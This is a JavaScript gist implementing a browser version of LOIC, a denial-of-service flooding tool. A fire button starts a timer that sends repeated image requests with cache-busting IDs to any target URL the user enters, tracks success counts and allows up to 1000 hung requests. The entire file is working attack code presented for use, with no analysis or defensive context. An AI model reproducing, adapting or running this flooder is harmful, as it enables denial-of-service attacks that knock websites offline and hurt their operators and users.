snippet - loic..

gistfile1.js

var LOIC = LOIC || {};
LOIC.Class = (function () {

  // Global Variables
  var fireInterval;
  var isFiring = false;
  var requestedCtrNode = document.getElementById("requestedCtr");
  var succeededCtrNode = document.getElementById("succeededCtr");
  var failedCtrNode = document.getElementById("failedCtr");
  var targetURLNode = document.getElementById("targetURL");
  var fireButton = document.getElementById("fireButton");
  var messageNode = document.getElementById("message");
  var rpsNode = document.getElementById("rps");
  var timeoutNode = document.getElementById("timeout");
  var targetURL = targetURLNode.value;

  targetURLNode.onchange = (function () {
    targetURL = this.value;
  });

  var requestsHT = {}; // requests hash table, may come in handy later

  var requestedCtr = 0,
    succeededCtr = 0,
    failedCtr = 0;

  var makeHttpRequest = (function () {

    if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
      return;
    };

    var rID = Number(new Date());
    var img = new Image();
    img.onerror = function () {
      onFail(rID);
    };
    img.onabort = function () {
      onFail(rID);
    };
    img.onload = function () {
      onSuccess(rID);
    }; // TODO: it may never happen if target URL is not an image...// but probably can be fixed with different methods

    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
    requestsHT[rID] = img;
    onRequest(rID);
  });

  var onRequest = (function (rID) {
    requestedCtr++;
    requestedCtrNode.innerHTML = requestedCtr;
  });

  var onComplete = (function (rID) {
    delete requestsHT[rID];
  });

  var onFail = (function (rID) {
    // failedCtr++;
    //failedCtrNode.innerHTML = failedCtr;
    succeededCtr++; //Seems like the url will always fail it it isn't an image
    succeededCtrNode.innerHTML = succeededCtr;
    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  });

  var onSuccess = (function (rID) {
    succeededCtr++;
    succeededCtrNode.innerHTML = succeededCtr;
    delete requestsHT[rID];
  });

  fireButton.onclick = (function () {
    if (isFiring) {
      clearInterval(fireInterval);
      isFiring = false;
      this.innerHTML = "IMMA CHARGING MAH LAZER";
    }
    else {
      isFiring = true;
      this.innerHTML = "Stop flooding";
      fireInterval = setInterval(makeHttpRequest, (2500 / parseInt(rpsNode.value) | 0));
    }
  });

}(LOIC.Class));